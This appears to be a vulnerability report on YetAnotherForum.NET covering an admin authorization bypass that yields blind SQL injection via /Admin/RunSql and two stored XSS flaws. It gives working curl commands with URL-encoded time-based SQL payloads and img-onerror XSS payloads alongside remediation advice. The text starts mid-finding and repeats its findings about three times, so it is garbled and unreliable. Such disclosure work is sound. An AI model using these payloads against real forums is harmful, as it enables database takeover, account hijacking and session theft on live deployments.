Payload: IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 76) WAITFOR DELAY '0:0:5' (76 is the character L) URL Encoded Payload: %49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%36%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27

curl.exe --path-as-is -i -s -k -X POST `
  -H 'Host: yetanotherforum.internal:8080' `
  -H 'User-Agent: curl/8.18.0' `
  -H 'Accept: */*' `
  -H 'Content-Type: application/x-www-form-urlencoded' `
  -H 'Content-Length: 428' `
  -H 'Connection: keep-alive' `
  -b '<Replace with Cookies>' `
  --data-binary 'Editor=%49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%36%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27&__RequestVerificationToken=<Replace with Token>' `
  -w '\n----\nDNS:        %{time_namelookup}s\nConnect:    %{time_connect}s\nTTFB:       %{time_starttransfer}s\nTotal time: %{time_total}s\nHTTP code:  %{http_code}\n' `
  'http://yetanotherforum.internal:8080/Admin/RunSql?handler=RunQuery'

Observe that when the condition is true the response time increases, if false, it remains unchanged which confirms the presence of SQL Injection.

Remediation:

• Convert PageSecurityCheckAttribute from a ResultFilterAttribute to an IAsyncPageFilter so the admin check runs in OnPageHandlerExecutionAsync and short-circuits with AccessDenied() before any handler side effects occur.
• Layer an ASP.NET Core authorization policy as defense-in-depth: AddAuthorization(... AddPolicy("YafAdmin", ...)) combined with AuthorizeFolder("/Admin", "YafAdmin") in the Razor Pages conventions.
• Restrict /Admin/RunSql to HostAdmin only and wrap IDbAccess.RunSql in a statement-type allow-list that rejects non-read-only SQL, even for legitimate admins.
• Audit and fix any other authorization logic implemented in ResultFilterAttribute / OnResultExecuting(Async), they share the same lifecycle bug.
• Add regression tests that invoke each admin OnPost… handler as a non-admin and assert no database or filesystem side effects occur.

Description: Stored (second-order) Cross-Site Scripting (XSS) occurs when attacker-controlled input is persisted through one component of an application and later rendered, without proper sanitization or contextual output encoding, by a completely different component — often one that implicitly trusts the stored data. Because the dangerous sink is typically a privileged administrative interface, the payload executes in the browser of a high-value user (such as an administrator) and inherits their authenticated session. This class of issue is especially severe when the entry point is an HTTP header on an unauthenticated endpoint, since the attack surface extends to any anonymous attacker on the internet with no prerequisites.

Issue Details: The application's database logger (YAFNET.Core/Logger/DbLogger.cs) captures the incoming request's User-Agent header into a JObject, serializes it with JsonConvert, and stores the result in the EventLog.Description column whenever an event (e.g., an unhandled exception) is logged. The admin event-log page (YetAnotherForum.NET/Pages/Admin/EventLog.cshtml.cs) later deserializes that JSON in FormatStackTrace() and interpolates the UserAgent value directly into an HTML string with no encoding, and the Razor view EventLog.cshtml emits the result through @Html.Raw. Critically, the attacker does not need to be authenticated: the unauthenticated endpoint GET /api/Attachments/GetAttachment?attachmentId=2147483647 reliably triggers a server-side exception that is written to dbo.EventLog together with the attacker-controlled User-Agent. A single anonymous request such as curl -A "<img src=x onerror=alert('XSS')>" "http://<target>/api/Attachments/GetAttachment?attachmentId=2147483647" is sufficient to persist the payload, and when an administrator later visits /Admin/EventLog the malicious markup is rendered as live HTML in the admin's authenticated session.

Impact: An entirely unauthenticated attacker, with no account, no CSRF token, and no prior access, can stage JavaScript that will execute in an administrator's browser the next time the Event Log is viewed. Because the script runs in the admin's authenticated origin, it can perform any action the admin can: creating new administrative accounts, modifying site-wide settings, exfiltrating user data through admin-only endpoints. This effectively converts a single anonymous HTTP request into a full forum-takeover primitive, and the lack of any authentication requirement makes it exploitable at internet scale, including by automated scanners.

Likelihood: Exploitation requires only the ability to send a single HTTP request to a public, unauthenticated endpoint, which any anonymous attacker on the internet can do. Administrators routinely review the Event Log as part of normal operations, so payload delivery is highly probable with negligible attacker effort, making the overall likelihood very high.

Steps to Reproduce:

• From an unauthenticated session (no cookies, no tokens), send the following request with a malicious User-Agent header:
  • curl.exe -sS -A "<img src=x onerror=alert('XSS')>" "http://yetanotherforum.internal:8080/api/Attachments/GetAttachment?attachmentId=2147483647"
• Confirm the server returns an error response and that a row has been written to dbo.EventLog containing the attacker-controlled UserAgent value inside the JSON Description.
• As an administrator (e.g., Superuser), navigate to /Admin/EventLog.
• Observe that the rendered page contains the raw <img src=x onerror="alert('XSS')"> element inside the event's badge block, and that the onerror handler executes in the admin's authenticated session, confirming cross-session, cross-privilege script execution from an unauthenticated source.

Description: Stored Cross-Site Scripting (XSS) occurs when user-supplied input is persisted by the application and later rendered in another user's browser without proper sanitization or contextual output encoding. When the vulnerable sink is a high-traffic surface such as a public forum thread, the payload executes in the browser of every user who visits the page, maximizing both reach and impact. Any JavaScript injected through such a sink runs under the application's origin and inherits the privileges of whichever user happens to view the affected content.

Issue Details: The thread posting and reply feature accepts user-supplied content that is stored server-side and later rendered back into the thread page without adequate HTML sanitization or contextual output encoding. Submitting a post or reply containing "><img src=x onerror=prompt(0)> causes the payload to break out of the surrounding HTML context and inject a fully attacker-controlled <img> element whose onerror handler fires automatically as soon as the broken image reference fails to load. Because posts and replies are visible to every user who visits the thread, authenticated or otherwise, the injected JavaScript executes in each viewer's browser the moment the page renders, with no additional interaction required.

Impact: An attacker with a standard forum account can execute arbitrary JavaScript in the browser of every user who loads the affected thread, including moderators and administrators. This enables session/auth-cookie theft, account takeover through same-origin state-changing requests, forced privileged actions if an administrator views the thread, credential phishing via injected login overlays, forum defacement, cryptominer or malware delivery, and mass redirection of viewers to attacker-controlled sites. Because the payload triggers automatically on page load rather than requiring hover or click interaction, a single malicious post can compromise a large number of users very quickly.

Likelihood: Exploitation requires only a registered account with permission to post or reply, which is available to every forum member by default. Once posted, the payload fires automatically for any visitor who opens the thread, requiring zero victim interaction and making the overall likelihood high.

Steps to Reproduce:

• Log in to the forum as any low-privileged user (Attacker).
• Navigate to any thread where posting or replying is allowed, or create a new thread.
• In the post/reply body, submit the payload: "><img src=x onerror=prompt(0)>
• Publish the post or reply.
• Log in as a different user (e.g., Admin) or visit the thread in a separate browser session.
• Open the thread page, the injected <img> fails to load and the onerror handler fires, producing a prompt(0) dialog and confirming arbitrary JavaScript execution in the viewer's session context.

Issue Details: YAFNET's only admin authorization gate is PageSecurityCheckAttribute, implemented as a ResultFilterAttribute that runs after the page handler completes rather than before it. No other gate exists. Any admin OnPost… handler therefore executes its side effects before the filter rewrites the response to a 302 to /Info/4. The most impactful abuse is /Admin/RunSql, whose OnPostRunQuery binds Editor from the POST body and passes it straight to IDbAccess.RunSql with no caller check, yielding arbitrary SQL execution for any low-privileged user.

A deterministic boolean-conditional time oracle was confirmed end-to-end by extracting the first character of @@VERSION: IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 77) WAITFOR DELAY '0:0:5' produced a ~5-second delay (confirming the byte is M), while IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 76) WAITFOR DELAY '0:0:5' returned immediately.

Impact: An attacker holding the lowest-privileged authenticated role, effectively an anonymous attacker on any deployment that permits self-registration, gains arbitrary blind SQL execution against the application's database, with full INSERT/UPDATE/DELETE access to every table including the Identity store (AspNetUsers, yaf_User, yaf_UserRole). This yields full loss of Confidentiality (any column extractable via the time oracle), full loss of Integrity (blind writes to identity, posts, and forum configuration, including self-promotion to HostAdmin), and full loss of Availability (DELETE/DROP/WAITFOR-driven DoS). The impact escalates out of the application's trust domain: if the underlying SQL Server instance has xp_cmdshell or CLR integration enabled (common in development and test builds), the same primitive yields OS-level command execution on the database host. Because the bypass is class-wide, every other admin handler is also callable, multiplying the blast radius across user management, XML imports, and file-writing configuration pages.

Likelihood: Exploitation requires only a registered forum account (self-registration available on most deployments) and a single HTTP POST request. The attack is fully automatable in one request per probe and produces a deterministic time-based oracle with no error handling required, making the overall likelihood very high.

Steps to Reproduce:

• Register or log in to the forum as any low-privileged user.
• Acquire the standard __RequestVerificationToken token from any rendered page and the cookies.
• Use the following CURL command: Payload: IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 77) WAITFOR DELAY '0:0:5' (77 is the character M) URL Encoded Payload: %49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%37%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27

curl.exe --path-as-is -i -s -k -X POST `
  -H 'Host: yetanotherforum.internal:8080' `
  -H 'User-Agent: curl/8.18.0' `
  -H 'Accept: */*' `
  -H 'Content-Type: application/x-www-form-urlencoded' `
  -H 'Content-Length: 428' `
  -H 'Connection: keep-alive' `
  -b '<Replace with Cookies>' `
  --data-binary 'Editor=%49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%37%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27&__RequestVerificationToken=<Replace with Token>' `
  -w '\n----\nDNS:        %{time_namelookup}s\nConnect:    %{time_connect}s\nTTFB:       %{time_starttransfer}s\nTotal time: %{time_total}s\nHTTP code:  %{http_code}\n' `
  'http://yetanotherforum.internal:8080/Admin/RunSql?handler=RunQuery'

Payload: IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 76) WAITFOR DELAY '0:0:5' (76 is the character L) URL Encoded Payload: %49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%36%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27

curl.exe --path-as-is -i -s -k -X POST `
  -H 'Host: yetanotherforum.internal:8080' `
  -H 'User-Agent: curl/8.18.0' `
  -H 'Accept: */*' `
  -H 'Content-Type: application/x-www-form-urlencoded' `
  -H 'Content-Length: 428' `
  -H 'Connection: keep-alive' `
  -b '<Replace with Cookies>' `
  --data-binary 'Editor=%49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%36%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27&__RequestVerificationToken=<Replace with Token>' `
  -w '\n----\nDNS:        %{time_namelookup}s\nConnect:    %{time_connect}s\nTTFB:       %{time_starttransfer}s\nTotal time: %{time_total}s\nHTTP code:  %{http_code}\n' `
  'http://yetanotherforum.internal:8080/Admin/RunSql?handler=RunQuery'

Observe that when the condition is true the response time increases, if false, it remains unchanged which confirms the presence of SQL Injection.

Remediation:

• Convert PageSecurityCheckAttribute from a ResultFilterAttribute to an IAsyncPageFilter so the admin check runs in OnPageHandlerExecutionAsync and short-circuits with AccessDenied() before any handler side effects occur.
• Layer an ASP.NET Core authorization policy as defense-in-depth: AddAuthorization(... AddPolicy("YafAdmin", ...)) combined with AuthorizeFolder("/Admin", "YafAdmin") in the Razor Pages conventions.
• Restrict /Admin/RunSql to HostAdmin only and wrap IDbAccess.RunSql in a statement-type allow-list that rejects non-read-only SQL, even for legitimate admins.
• Audit and fix any other authorization logic implemented in ResultFilterAttribute / OnResultExecuting(Async), they share the same lifecycle bug.
• Add regression tests that invoke each admin OnPost… handler as a non-admin and assert no database or filesystem side effects occur.

Description: Stored (second-order) Cross-Site Scripting (XSS) occurs when attacker-controlled input is persisted through one component of an application and later rendered, without proper sanitization or contextual output encoding, by a completely different component — often one that implicitly trusts the stored data. Because the dangerous sink is typically a privileged administrative interface, the payload executes in the browser of a high-value user (such as an administrator) and inherits their authenticated session. This class of issue is especially severe when the entry point is an HTTP header on an unauthenticated endpoint, since the attack surface extends to any anonymous attacker on the internet with no prerequisites.

Issue Details: The application's database logger (YAFNET.Core/Logger/DbLogger.cs) captures the incoming request's User-Agent header into a JObject, serializes it with JsonConvert, and stores the result in the EventLog.Description column whenever an event (e.g., an unhandled exception) is logged. The admin event-log page (YetAnotherForum.NET/Pages/Admin/EventLog.cshtml.cs) later deserializes that JSON in FormatStackTrace() and interpolates the UserAgent value directly into an HTML string with no encoding, and the Razor view EventLog.cshtml emits the result through @Html.Raw. Critically, the attacker does not need to be authenticated: the unauthenticated endpoint GET /api/Attachments/GetAttachment?attachmentId=2147483647 reliably triggers a server-side exception that is written to dbo.EventLog together with the attacker-controlled User-Agent. A single anonymous request such as curl -A "<img src=x onerror=alert('XSS')>" "http://<target>/api/Attachments/GetAttachment?attachmentId=2147483647" is sufficient to persist the payload, and when an administrator later visits /Admin/EventLog the malicious markup is rendered as live HTML in the admin's authenticated session.

Impact: An entirely unauthenticated attacker, with no account, no CSRF token, and no prior access, can stage JavaScript that will execute in an administrator's browser the next time the Event Log is viewed. Because the script runs in the admin's authenticated origin, it can perform any action the admin can: creating new administrative accounts, modifying site-wide settings, exfiltrating user data through admin-only endpoints. This effectively converts a single anonymous HTTP request into a full forum-takeover primitive, and the lack of any authentication requirement makes it exploitable at internet scale, including by automated scanners.

Likelihood: Exploitation requires only the ability to send a single HTTP request to a public, unauthenticated endpoint, which any anonymous attacker on the internet can do. Administrators routinely review the Event Log as part of normal operations, so payload delivery is highly probable with negligible attacker effort, making the overall likelihood very high.

Steps to Reproduce:

• From an unauthenticated session (no cookies, no tokens), send the following request with a malicious User-Agent header:
  • curl.exe -sS -A "<img src=x onerror=alert('XSS')>" "http://yetanotherforum.internal:8080/api/Attachments/GetAttachment?attachmentId=2147483647"
• Confirm the server returns an error response and that a row has been written to dbo.EventLog containing the attacker-controlled UserAgent value inside the JSON Description.
• As an administrator (e.g., Superuser), navigate to /Admin/EventLog.
• Observe that the rendered page contains the raw <img src=x onerror="alert('XSS')"> element inside the event's badge block, and that the onerror handler executes in the admin's authenticated session, confirming cross-session, cross-privilege script execution from an unauthenticated source.

Description: Stored Cross-Site Scripting (XSS) occurs when user-supplied input is persisted by the application and later rendered in another user's browser without proper sanitization or contextual output encoding. When the vulnerable sink is a high-traffic surface such as a public forum thread, the payload executes in the browser of every user who visits the page, maximizing both reach and impact. Any JavaScript injected through such a sink runs under the application's origin and inherits the privileges of whichever user happens to view the affected content.

Issue Details: The thread posting and reply feature accepts user-supplied content that is stored server-side and later rendered back into the thread page without adequate HTML sanitization or contextual output encoding. Submitting a post or reply containing "><img src=x onerror=prompt(0)> causes the payload to break out of the surrounding HTML context and inject a fully attacker-controlled <img> element whose onerror handler fires automatically as soon as the broken image reference fails to load. Because posts and replies are visible to every user who visits the thread, authenticated or otherwise, the injected JavaScript executes in each viewer's browser the moment the page renders, with no additional interaction required.

Impact: An attacker with a standard forum account can execute arbitrary JavaScript in the browser of every user who loads the affected thread, including moderators and administrators. This enables session/auth-cookie theft, account takeover through same-origin state-changing requests, forced privileged actions if an administrator views the thread, credential phishing via injected login overlays, forum defacement, cryptominer or malware delivery, and mass redirection of viewers to attacker-controlled sites. Because the payload triggers automatically on page load rather than requiring hover or click interaction, a single malicious post can compromise a large number of users very quickly.

Likelihood: Exploitation requires only a registered account with permission to post or reply, which is available to every forum member by default. Once posted, the payload fires automatically for any visitor who opens the thread, requiring zero victim interaction and making the overall likelihood high.

Steps to Reproduce:

• Log in to the forum as any low-privileged user (Attacker).
• Navigate to any thread where posting or replying is allowed, or create a new thread.
• In the post/reply body, submit the payload: "><img src=x onerror=prompt(0)>
• Publish the post or reply.
• Log in as a different user (e.g., Admin) or visit the thread in a separate browser session.
• Open the thread page, the injected <img> fails to load and the onerror handler fires, producing a prompt(0) dialog and confirming arbitrary JavaScript execution in the viewer's session context.

Issue Details: YAFNET's only admin authorization gate is PageSecurityCheckAttribute, implemented as a ResultFilterAttribute that runs after the page handler completes rather than before it. No other gate exists. Any admin OnPost… handler therefore executes its side effects before the filter rewrites the response to a 302 to /Info/4. The most impactful abuse is /Admin/RunSql, whose OnPostRunQuery binds Editor from the POST body and passes it straight to IDbAccess.RunSql with no caller check, yielding arbitrary SQL execution for any low-privileged user.

A deterministic boolean-conditional time oracle was confirmed end-to-end by extracting the first character of @@VERSION: IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 77) WAITFOR DELAY '0:0:5' produced a ~5-second delay (confirming the byte is M), while IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 76) WAITFOR DELAY '0:0:5' returned immediately.

Impact: An attacker holding the lowest-privileged authenticated role, effectively an anonymous attacker on any deployment that permits self-registration, gains arbitrary blind SQL execution against the application's database, with full INSERT/UPDATE/DELETE access to every table including the Identity store (AspNetUsers, yaf_User, yaf_UserRole). This yields full loss of Confidentiality (any column extractable via the time oracle), full loss of Integrity (blind writes to identity, posts, and forum configuration, including self-promotion to HostAdmin), and full loss of Availability (DELETE/DROP/WAITFOR-driven DoS). The impact escalates out of the application's trust domain: if the underlying SQL Server instance has xp_cmdshell or CLR integration enabled (common in development and test builds), the same primitive yields OS-level command execution on the database host. Because the bypass is class-wide, every other admin handler is also callable, multiplying the blast radius across user management, XML imports, and file-writing configuration pages.

Likelihood: Exploitation requires only a registered forum account (self-registration available on most deployments) and a single HTTP POST request. The attack is fully automatable in one request per probe and produces a deterministic time-based oracle with no error handling required, making the overall likelihood very high.

Steps to Reproduce:

• Register or log in to the forum as any low-privileged user.
• Acquire the standard __RequestVerificationToken token from any rendered page and the cookies.
• Use the following CURL command: Payload: IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 77) WAITFOR DELAY '0:0:5' (77 is the character M) URL Encoded Payload: %49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%37%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27

curl.exe --path-as-is -i -s -k -X POST `
  -H 'Host: yetanotherforum.internal:8080' `
  -H 'User-Agent: curl/8.18.0' `
  -H 'Accept: */*' `
  -H 'Content-Type: application/x-www-form-urlencoded' `
  -H 'Content-Length: 428' `
  -H 'Connection: keep-alive' `
  -b '<Replace with Cookies>' `
  --data-binary 'Editor=%49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%37%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27&__RequestVerificationToken=<Replace with Token>' `
  -w '\n----\nDNS:        %{time_namelookup}s\nConnect:    %{time_connect}s\nTTFB:       %{time_starttransfer}s\nTotal time: %{time_total}s\nHTTP code:  %{http_code}\n' `
  'http://yetanotherforum.internal:8080/Admin/RunSql?handler=RunQuery'

Payload: IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 76) WAITFOR DELAY '0:0:5' (76 is the character L) URL Encoded Payload: %49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%36%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27

curl.exe --path-as-is -i -s -k -X POST `
  -H 'Host: yetanotherforum.internal:8080' `
  -H 'User-Agent: curl/8.18.0' `
  -H 'Accept: */*' `
  -H 'Content-Type: application/x-www-form-urlencoded' `
  -H 'Content-Length: 428' `
  -H 'Connection: keep-alive' `
  -b '<Replace with Cookies>' `
  --data-binary 'Editor=%49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%36%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27&__RequestVerificationToken=<Replace with Token>' `
  -w '\n----\nDNS:        %{time_namelookup}s\nConnect:    %{time_connect}s\nTTFB:       %{time_starttransfer}s\nTotal time: %{time_total}s\nHTTP code:  %{http_code}\n' `
  'http://yetanotherforum.internal:8080/Admin/RunSql?handler=RunQuery'

Observe that when the condition is true the response time increases, if false, it remains unchanged which confirms the presence of SQL Injection.

Remediation:

• Convert PageSecurityCheckAttribute from a ResultFilterAttribute to an IAsyncPageFilter so the admin check runs in OnPageHandlerExecutionAsync and short-circuits with AccessDenied() before any handler side effects occur.
• Layer an ASP.NET Core authorization policy as defense-in-depth: AddAuthorization(... AddPolicy("YafAdmin", ...)) combined with AuthorizeFolder("/Admin", "YafAdmin") in the Razor Pages conventions.
• Restrict /Admin/RunSql to HostAdmin only and wrap IDbAccess.RunSql in a statement-type allow-list that rejects non-read-only SQL, even for legitimate admins.
• Audit and fix any other authorization logic implemented in ResultFilterAttribute / OnResultExecuting(Async), they share the same lifecycle bug.
• Add regression tests that invoke each admin OnPost… handler as a non-admin and assert no database or filesystem side effects occur.

Description: Stored (second-order) Cross-Site Scripting (XSS) occurs when attacker-controlled input is persisted through one component of an application and later rendered, without proper sanitization or contextual output encoding, by a completely different component — often one that implicitly trusts the stored data. Because the dangerous sink is typically a privileged administrative interface, the payload executes in the browser of a high-value user (such as an administrator) and inherits their authenticated session. This class of issue is especially severe when the entry point is an HTTP header on an unauthenticated endpoint, since the attack surface extends to any anonymous attacker on the internet with no prerequisites.

Issue Details: The application's database logger (YAFNET.Core/Logger/DbLogger.cs) captures the incoming request's User-Agent header into a JObject, serializes it with JsonConvert, and stores the result in the EventLog.Description column whenever an event (e.g., an unhandled exception) is logged. The admin event-log page (YetAnotherForum.NET/Pages/Admin/EventLog.cshtml.cs) later deserializes that JSON in FormatStackTrace() and interpolates the UserAgent value directly into an HTML string with no encoding, and the Razor view EventLog.cshtml emits the result through @Html.Raw. Critically, the attacker does not need to be authenticated: the unauthenticated endpoint GET /api/Attachments/GetAttachment?attachmentId=2147483647 reliably triggers a server-side exception that is written to dbo.EventLog together with the attacker-controlled User-Agent. A single anonymous request such as curl -A "<img src=x onerror=alert('XSS')>" "http://<target>/api/Attachments/GetAttachment?attachmentId=2147483647" is sufficient to persist the payload, and when an administrator later visits /Admin/EventLog the malicious markup is rendered as live HTML in the admin's authenticated session.

Impact: An entirely unauthenticated attacker, with no account, no CSRF token, and no prior access, can stage JavaScript that will execute in an administrator's browser the next time the Event Log is viewed. Because the script runs in the admin's authenticated origin, it can perform any action the admin can: creating new administrative accounts, modifying site-wide settings, exfiltrating user data through admin-only endpoints. This effectively converts a single anonymous HTTP request into a full forum-takeover primitive, and the lack of any authentication requirement makes it exploitable at internet scale, including by automated scanners.

Likelihood: Exploitation requires only the ability to send a single HTTP request to a public, unauthenticated endpoint, which any anonymous attacker on the internet can do. Administrators routinely review the Event Log as part of normal operations, so payload delivery is highly probable with negligible attacker effort, making the overall likelihood very high.

Steps to Reproduce:

• From an unauthenticated session (no cookies, no tokens), send the following request with a malicious User-Agent header:
  • curl.exe -sS -A "<img src=x onerror=alert('XSS')>" "http://yetanotherforum.internal:8080/api/Attachments/GetAttachment?attachmentId=2147483647"
• Confirm the server returns an error response and that a row has been written to dbo.EventLog containing the attacker-controlled UserAgent value inside the JSON Description.
• As an administrator (e.g., Superuser), navigate to /Admin/EventLog.
• Observe that the rendered page contains the raw <img src=x onerror="alert('XSS')"> element inside the event's badge block, and that the onerror handler executes in the admin's authenticated session, confirming cross-session, cross-privilege script execution from an unauthenticated source.

Description: Stored Cross-Site Scripting (XSS) occurs when user-supplied input is persisted by the application and later rendered in another user's browser without proper sanitization or contextual output encoding. When the vulnerable sink is a high-traffic surface such as a public forum thread, the payload executes in the browser of every user who visits the page, maximizing both reach and impact. Any JavaScript injected through such a sink runs under the application's origin and inherits the privileges of whichever user happens to view the affected content.

Issue Details: The thread posting and reply feature accepts user-supplied content that is stored server-side and later rendered back into the thread page without adequate HTML sanitization or contextual output encoding. Submitting a post or reply containing "><img src=x onerror=prompt(0)> causes the payload to break out of the surrounding HTML context and inject a fully attacker-controlled <img> element whose onerror handler fires automatically as soon as the broken image reference fails to load. Because posts and replies are visible to every user who visits the thread, authenticated or otherwise, the injected JavaScript executes in each viewer's browser the moment the page renders, with no additional interaction required.

Impact: An attacker with a standard forum account can execute arbitrary JavaScript in the browser of every user who loads the affected thread, including moderators and administrators. This enables session/auth-cookie theft, account takeover through same-origin state-changing requests, forced privileged actions if an administrator views the thread, credential phishing via injected login overlays, forum defacement, cryptominer or malware delivery, and mass redirection of viewers to attacker-controlled sites. Because the payload triggers automatically on page load rather than requiring hover or click interaction, a single malicious post can compromise a large number of users very quickly.

Likelihood: Exploitation requires only a registered account with permission to post or reply, which is available to every forum member by default. Once posted, the payload fires automatically for any visitor who opens the thread, requiring zero victim interaction and making the overall likelihood high.

Steps to Reproduce:

• Log in to the forum as any low-privileged user (Attacker).
• Navigate to any thread where posting or replying is allowed, or create a new thread.
• In the post/reply body, submit the payload: "><img src=x onerror=prompt(0)>
• Publish the post or reply.
• Log in as a different user (e.g., Admin) or visit the thread in a separate browser session.
• Open the thread page, the injected <img> fails to load and the onerror handler fires, producing a prompt(0) dialog and confirming arbitrary JavaScript execution in the viewer's session context.

Issue Details: YAFNET's only admin authorization gate is PageSecurityCheckAttribute, implemented as a ResultFilterAttribute that runs after the page handler completes rather than before it. No other gate exists. Any admin OnPost… handler therefore executes its side effects before the filter rewrites the response to a 302 to /Info/4. The most impactful abuse is /Admin/RunSql, whose OnPostRunQuery binds Editor from the POST body and passes it straight to IDbAccess.RunSql with no caller check, yielding arbitrary SQL execution for any low-privileged user.

A deterministic boolean-conditional time oracle was confirmed end-to-end by extracting the first character of @@VERSION: IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 77) WAITFOR DELAY '0:0:5' produced a ~5-second delay (confirming the byte is M), while IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 76) WAITFOR DELAY '0:0:5' returned immediately.

Impact: An attacker holding the lowest-privileged authenticated role, effectively an anonymous attacker on any deployment that permits self-registration, gains arbitrary blind SQL execution against the application's database, with full INSERT/UPDATE/DELETE access to every table including the Identity store (AspNetUsers, yaf_User, yaf_UserRole). This yields full loss of Confidentiality (any column extractable via the time oracle), full loss of Integrity (blind writes to identity, posts, and forum configuration, including self-promotion to HostAdmin), and full loss of Availability (DELETE/DROP/WAITFOR-driven DoS). The impact escalates out of the application's trust domain: if the underlying SQL Server instance has xp_cmdshell or CLR integration enabled (common in development and test builds), the same primitive yields OS-level command execution on the database host. Because the bypass is class-wide, every other admin handler is also callable, multiplying the blast radius across user management, XML imports, and file-writing configuration pages.

Likelihood: Exploitation requires only a registered forum account (self-registration available on most deployments) and a single HTTP POST request. The attack is fully automatable in one request per probe and produces a deterministic time-based oracle with no error handling required, making the overall likelihood very high.

Steps to Reproduce:

• Register or log in to the forum as any low-privileged user.
• Acquire the standard __RequestVerificationToken token from any rendered page and the cookies.
• Use the following CURL command: Payload: IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 77) WAITFOR DELAY '0:0:5' (77 is the character M) URL Encoded Payload: %49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%37%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27

curl.exe --path-as-is -i -s -k -X POST `
  -H 'Host: yetanotherforum.internal:8080' `
  -H 'User-Agent: curl/8.18.0' `
  -H 'Accept: */*' `
  -H 'Content-Type: application/x-www-form-urlencoded' `
  -H 'Content-Length: 428' `
  -H 'Connection: keep-alive' `
  -b '<Replace with Cookies>' `
  --data-binary 'Editor=%49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%37%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27&__RequestVerificationToken=<Replace with Token>' `
  -w '\n----\nDNS:        %{time_namelookup}s\nConnect:    %{time_connect}s\nTTFB:       %{time_starttransfer}s\nTotal time: %{time_total}s\nHTTP code:  %{http_code}\n' `
  'http://yetanotherforum.internal:8080/Admin/RunSql?handler=RunQuery'

Payload: IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 76) WAITFOR DELAY '0:0:5' (76 is the character L) URL Encoded Payload: %49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%36%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27

curl.exe --path-as-is -i -s -k -X POST `
  -H 'Host: yetanotherforum.internal:8080' `
  -H 'User-Agent: curl/8.18.0' `
  -H 'Accept: */*' `
  -H 'Content-Type: application/x-www-form-urlencoded' `
  -H 'Content-Length: 428' `
  -H 'Connection: keep-alive' `
  -b '<Replace with Cookies>' `
  --data-binary 'Editor=%49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%36%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27&__RequestVerificationToken=<Replace with Token>' `
  -w '\n----\nDNS:        %{time_namelookup}s\nConnect:    %{time_connect}s\nTTFB:       %{time_starttransfer}s\nTotal time: %{time_total}s\nHTTP code:  %{http_code}\n' `
  'http://yetanotherforum.internal:8080/Admin/RunSql?handler=RunQuery'

